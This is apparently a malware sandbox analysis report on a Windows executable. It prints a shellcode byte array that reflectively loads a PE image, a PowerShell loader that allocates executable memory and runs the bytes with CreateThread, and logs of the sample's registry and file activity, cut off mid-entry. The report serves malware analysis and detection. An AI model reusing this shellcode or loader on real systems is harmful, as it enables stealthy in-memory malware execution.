0xFA 0xFF 0xFF 0x03 0xD8 0x81 0xE3 0xFF 0x00 0x00 0x00 0x8A 0x01 <#vp#>0x8B 0x94 0x9D 0x00 0xFB 0xFF <#eic#>0xFF 0x89 0x11 0x25 0xFF 0x00 0x00 0x00 0x89 0x84 0x9D <#mp#>0x00 0xFB 0xFF 0xFF 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xB5 0x33 0xDB <#ap#>0x33 0xFF 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF <#vh#>0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x5C 0xFF 0xFF 0xFF 0x83 0xBD 0x5C 0xFF 0xFF 0xFF 0x00 0x74 0x29 0x8B 0x85 0x5C 0xFF 0xFF 0xFF 0x89 0x85 0x4C 0xFF 0xFF 0xFF 0x8B 0x85 0x60 <#jba#>0xFF 0xFF 0xFF 0x50 <#zq#>0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0xFF 0x95 0x78 <#hie#>0xFF 0xFF 0xFF 0xEB 0x05 0x6A 0x00 0xFF 0x55 0xA4 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x48 0x85 0xC0 0x72 0x74 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x43 0x81 0xE3 0xFF 0x00 0x00 0x00 0x03 0xBC 0x9D 0x00 <#run#>0xFB 0xFF 0xFF 0x81 <#rlp#>0xE7 0xFF 0x00 0x00 0x00 0x8A 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x8B 0x94 0xBD 0x00 0xFB 0xFF <#rum#>0xFF 0x89 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x25 0xFF 0x00 0x00 0x00 0x89 0x84 0xBD 0x00 0xFB 0xFF 0xFF 0x8B 0x85 0x4C 0xFF 0xFF <#ctf#>0xFF 0x8A 0x04 0x30 <#blv#>0x8B 0x94 0x9D 0x00 <#py#>0xFB 0xFF 0xFF 0x03 0x94 0xBD <#td#>0x00 0xFB 0xFF 0xFF 0x81 0xE2 0xFF 0x00 0x00 0x00 <#ckb#>0x32 0x84 0x95 0x00 0xFB <#pie#>0xFF 0xFF 0x8B 0x95 0x4C 0xFF 0xFF 0xFF 0x88 0x04 0x32 0x46 0xFF 0x8D 0x3C <#npr#>0xFF 0xFF 0xFF 0x75 0x95 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0xDA 0x02 0x00 0x00 0x8B 0x45 <#mkf#>0xD4 0x8B 0x40 0x3C 0x03 0x85 0x4C 0xFF 0xFF 0xFF 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xBC 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x58 0x50 0x03 0xDB <#fw#>0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x53 0x6A <#niq#>0x00 0xFF 0x55 0xA8 <#do#>0x89 0x45 0xF8 0x83 0x7D 0xF8 <#qco#>0x00 0x0F 0x84 0x9A 0x02 0x00 0x00 0x8B <#ewx#>0x45 0xD0 0x8B 0x40 0x54 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF <#fs#>0x50 0x8B 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x04 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE0 0x00 0x00 0x00 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 <#oig#>0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x80 0xE0 0x00 <#zbh#>0x00 0x00 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xD0 <#nq#>0x8B 0x40 0x50 0x03 0x45 <#sl#>0xF8 0x83 0xC0 0x04 0x50 <#cd#>0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x60 0x8B 0x85 0x7C 0xFF <#nqx#>0xFF 0xFF 0x83 0xC0 0x7A 0x50 0x8B 0x45 0xD0 0x8B 0x40 <#zo#>0x50 0x03 0x45 <#nuj#>0xF8 0x83 0xC0 0x04 0x8B 0x95 0x7C 0xFF 0xFF 0xFF 0x03 0x82 0xE0 0x00 0x00 0x00 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x0F <#zwd#>0xB7 0x40 0x06 0x48 0x85 0xC0 0x7C 0x5F 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0x55 0xD4 0x8B 0x52 0x3C 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x03 0xD0 0x81 0xC2 0xF8 0x00 0x00 0x00 0x8B <#py#>0xCE 0xC1 0xE1 0x03 0x8D 0x0C 0x89 <#se#>0x03 0xD1 0x89 0x95 0x50 <#ci#>0xFF 0xFF 0xFF 0x8B 0x95 0x50 0xFF 0xFF 0xFF 0x8B <#gxy#>0x52 0x10 0x52 0x8B 0x95 <#vt#>0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x14 <#jgp#>0x03 0xD0 0x52 0x8B 0x85 0x50 0xFF 0xFF 0xFF 0x8B 0x40 <#hie#>0x0C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0xAA 0x8B 0x45 0xD0 0x8B <#cvx#>0x40 0x34 0x3B 0x45 0xF8 0x0F 0x84 0xCB 0x00 <#yq#>0x00 0x00 0x8B 0x45 0xD0 0x8B 0x55 0xF8 0x2B 0x50 0x34 0x89 0x55 <#rs#>0xD8 0x8B 0x45 0xF8 0x89 0x45 0xF0 0x8B 0x45 0xD0 0x83 0xB8 0xA4 0x00 0x00 0x00 0x00 0x0F 0x86 0x87 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x80 0xA0 <#xp#>0x00 <#tyi#>0x00 0x00 0x03 0x45 0xF0 0x89 0x45 0xEC 0xEB 0x6E 0x8B 0x45 <#drf#>0xEC 0x8B 0x00 0x03 0x45 0xF0 0x89 0x45 0xE8 0x8B 0x45 0xEC 0x83 0xC0 0x08 0x89 0x45 0xE4 0x8B 0x45 0xEC 0x8B 0x40 0x04 0x83 0xE8 0x08 <#yuo#>0xD1 0xE8 0x48 0x85 0xC0 0x72 0x3E 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x8B 0x45 0xE4 0x66 0x8B 0x10 0x0F 0xB7 0xC2 0xC1 0xE8 0x0C <#ck#>0x8B 0xCA <#qw#>0x66 0x81 0xE1 0xFF 0x0F 0x0F 0xB7 0xC9 0x83 0xF8 0x03 0x75 0x10 0x8B 0x45 0xE8 <#dc#>0x03 0xC1 0x89 0x45 0xE0 0x8B 0x45 0xE0 0x8B <#ch#>0x55 0xD8 0x01 0x10 0x83 0x45 0xE4 0x02 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF <#ivw#>0x75 0xC9 0x8B 0x45 0xEC 0x8B 0x40 0x04 <#yug#>0x03 0x45 0xEC 0x89 <#nmz#>0x45 0xEC 0x8B 0x45 0xEC <#vad#>0x83 0x38 0x00 0x77 0x8A 0x8B 0x45 0xD0 0x8B 0x55 0xF8 0x89 0x50 0x34 0x68 <#ztf#>0xF8 0x00 0x00 0x00 0x8B 0x45 0xD0 0x50 0x8B 0x45 <#pi#>0xD4 <#vf#>0x8B 0x40 0x3C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF <#tnn#>0xFF 0xFF 0x8B 0x45 0xD0 0x05 0x80 0x00 <#xye#>0x00 0x00 0x89 0x45 0x90 0x8B 0x45 0x90 0x83 <#wm#>0x78 <#pnf#>0x04 0x00 0x0F <#eda#>0x86 0x9E 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x80 0x80 0x00 0x00 0x00 0x03 0x45 0xF8 0x89 0x45 0x8C 0xEB 0x7F 0x03 0x7D 0xF8 0x57 0xFF 0x55 <#pq#>0xBC 0x8B 0xD8 0x85 0xDB 0x74 0x72 0x8B 0x45 0x8C 0x83 0x38 0x00 0x74 0x0D 0x8B 0x45 0x8C 0x8B 0x00 0x03 0x45 0xF8 0x89 0x45 0x88 0xEB 0x0C <#sdh#>0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x88 0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x84 0xEB 0x37 <#mg#>0x8B 0x45 0x88 0x8B 0x30 0xF7 0xC6 0x00 0x00 0x00 0x80 0x74 0x12 0x81 0xE6 0xFF 0xFF 0x00 0x00 0x56 0x53 0xFF 0x55 0xB8 0x8B 0x55 0x84 0x89 0x02 0xEB 0x10 0x03 0x75 0xF8 0x83 0xC6 0x02 0x56 <#qxx#>0x53 <#ao#>0xFF 0x55 0xB8 0x8B 0x55 0x84 0x89 0x02 0x83 0x45 0x88 <#qkv#>0x04 0x83 0x45 0x84 0x04 0x8B 0x45 0x88 0x83 0x38 <#gve#>0x00 0x75 0xC1 0x83 0x45 0x8C 0x14 0x8B 0x45 0x8C 0x8B 0x78 0x0C 0x85 <#mnr#>0xFF 0x0F 0x85 0x73 0xFF <#bje#>0xFF 0xFF 0x8B 0x45 0xD0 0x8B 0x40 0x28 0x03 0x45 0xF8 0x89 0x45 0xF4 0x31 0xC0 0x50 0x6A 0x01 0xFF 0x75 0xF8 0xFF 0x55 0xF4 0x6A 0x00 0xFF 0x55 0xA4 0x5F 0x5E <#gpa#>0x5B 0x8B 0xE5 0x5D 0xC2 0x04 0x00 0x8D 0x40 0x00 0x73 0x6F 0x66 0x74 0x77 <#kwm#>0x61 0x72 0x65 0x5C 0x4F 0x33 0x5A 0x41 0x43 <#bn#>0x38 0x70 0x36 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#ag#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#kz#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#hyn#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#bvm#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x30 0x34 0x61 0x37 0x64 0x53 0x48 <#rhf#>0x54 0x32 0x35 0x00 0x00 <#bu#>0x00 0x00 0x00 0x00 0x00 0x17 0x34 0x73 0x1E 0x80 0xDC 0x47 0xFC 0x7D 0x0F 0xF3 0x95 0xC8 0xEA 0x03 <#nw#>0x33 0x83 0x02 0xD6 0xED <#yed#>0xBD 0x88 0x9E 0x60 0xD4 0x9C 0x04 0x00 0x00 0x00 <#mr#>0x00 0x00 <#ix#>0x00 0x00 <#eke#>0x00 0x00 0x00 0x00 0x00 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x3C 0x00 0x3C 0x00 0x3A 0x00 0x3A 0x00 0x3E 0x00 0x3E 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x62 0x00 0x70 0x00 0x73 0x00 0x3A 0x00 0x3A 0x00 0x62 0x00 0x70 0x00 0x73 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x3A 0x00 0x38 0x00 0x36 0x00 0x34 0x00 0x3A 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#epk#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1B 0x00 0x00 <#ekx#>0x00 0x00 0xAA 0x06 0x00 <#mnx#>0x55 0x8B 0xEC 0x60 <#uyd#>0x8B 0x7D 0x08 0x8B 0x75 0x0C 0x8B 0x4D 0x10 0xF3 0xA4 <#zrh#>0x61 0x5D 0xC2 0x0C 0x00 0x7D 0x80 0x33 0x61 0x92 0x23 0x74 <#hb#>0x97 0x06 0x11 0x9F 0x37 0xFE 0xCF 0x24 0x5F 0x77 0x04 0x8B 0x05 0x6B 0x61 0x0D 0x94 0x78 0x09 0x61 0xC3 0x4A 0xD9 0x3E 0x9B 0x5B 0x6A 0x21 0x2E 0xDB 0xA3 0x5B 0x80 0xBE 0x48 0x8A 0x8E 0x42 0xD0 0xE6 0x89 0x84 0x66 0x16 0x9D <#je#>0xDB 0xF3 0x6B 0xE6 0x19 0x85 0xC2 0x73 0xEE 0x7D 0x67 0x62 0x07 0x4D 0xA7 0x86 0xA9 0xB5 0x0F 0x28 0xDC 0xCC 0x64 0xB9 0x70 0x3B 0xE2 0xA4 0x62 0x7F 0x56 <#ia#>0x80 0x79 0x19 0x0A 0x62 0x1E 0xEF 0xA6 0x07 0xB9 0x67 0x88 0x09 0x2C; #wclodbjyvw $pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40); #yxhcblswn if($pr -ne 0){$memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset) (gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr])))); #bcdqfjo for ($i=0;$i -le ($sc32.Length-1);$i++) {$memset.Invoke(($pr+$i) $sc32[$i] 1)}; #etsrljct ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0); #cfqvfpmslt }sleep(1200);}catch{}exit; #iqvpl #vaopbx")45:Taec,"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: ""; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\ROMANCE STANDARD TIME\DYNAMIC DST"; Key: ""; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKCU\APPID\5ACD0B023BD7DA111DC456B74894AF78E3355C4ED8A7E87FAB9068E70FBC2268.EXE"; Key: ""; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\APPID\5ACD0B023BD7DA111DC456B74894AF78E3355C4ED8A7E87FAB9068E70FBC2268.EXE"; Key: ""; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\COM3"; Key: ""; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SQMCLIENT\WINDOWS\DISABLEDPROCESSES\"; Key: ""; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SQMCLIENT\WINDOWS\DISABLEDSESSIONS\"; Key: ""; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}"; Key: ""; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}"; Key: ""; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS"; Key: ""; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS"; Key: ""; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\PROGID"; Key: ""; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\PROGID"; Key: ""; Value: "")46:T865,"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "BIAS"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDNAME"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDBIAS"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDSTART"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTNAME"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTBIAS"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTSTART"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "TIMEZONEKEYNAME"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DYNAMICDAYLIGHTTIMEDISABLED"; Value: "") "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "ACTIVETIMEBIAS"; Value: "")47:T7e9,"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" reads file "c:\5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" "powershell.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\microsoft.pb378ec07#\d254c63bedcb76c81c3125bd527b7d1a\microsoft.powershell.consolehost.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\0b2f69b43a576b9edcc807a30872bd91\system.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\2c3c912ea8f058f9d04c4650128feb3f\system.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.core\31fae3290fad30c31c98651462d22724\system.core.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.manaa57fc8cc#\73a1a80aed03e789a49cec899b7505dd\system.management.automation.ni.dll.aux" "powershell.exe" reads file "c:\windows\system32\windowspowershell\v1.0\modules\microsoft.powershell.utility\microsoft.powershell.utility.psm1" "powershell.exe" reads file "c:\users\%osuser%\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.data\b9463297e0537784be981f4d68498abc\system.data.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.data\df2dd09ed7c341842a104e1e668f184e\system.data.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.xml\15af16d373cf0528cb74fc73d365fdbf\system.xml.ni.dll.aux" "powershell.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.management\e114780fd3ea5727401c06ea4f22ef35\system.management.ni.dll.aux"48:Tabb,"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\NETAPI32.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\Windows\system32\NETAPI32.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\netutils.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\Windows\system32\netutils.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\srvcli.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\Windows\system32\srvcli.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\wkscli.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\Windows\system32\wkscli.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\LOGONCLI.DLL" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\Windows\system32\LOGONCLI.DLL" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\mpr.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\Windows\system32\mpr.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\Windows\system32\IMM32.DLL" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\SspiCli.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\Windows\system32\SspiCli.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\FLTLIB.DLL" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\Windows\system32\FLTLIB.DLL" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\MSVCP140.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\Windows\system32\MSVCP140.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\VCRUNTIME140.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to touch file "C:\Windows\system32\VCRUNTIME140.dll"49:Td55,"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\NETAPI32.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\netutils.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\srvcli.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\wkscli.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\LOGONCLI.DLL" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\mpr.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\SspiCli.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\FLTLIB.DLL" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\MSVCP140.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\api-ms-win-crt-runtime-l1-1-0.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\ucrtbase.DLL" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\api-ms-win-core-timezone-l1-1-0.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\api-ms-win-core-file-l2-1-0.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\api-ms-win-core-localization-l1-2-0.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\api-ms-win-core-synch-l1-2-0.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\api-ms-win-core-processthreads-l1-1-1.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\api-ms-win-core-file-l1-2-0.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\api-ms-win-crt-heap-l1-1-0.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\api-ms-win-crt-string-l1-1-0.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\api-ms-win-crt-stdio-l1-1-0.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\api-ms-win-crt-convert-l1-1-0.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\api-ms-win-crt-locale-l1-1-0.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file 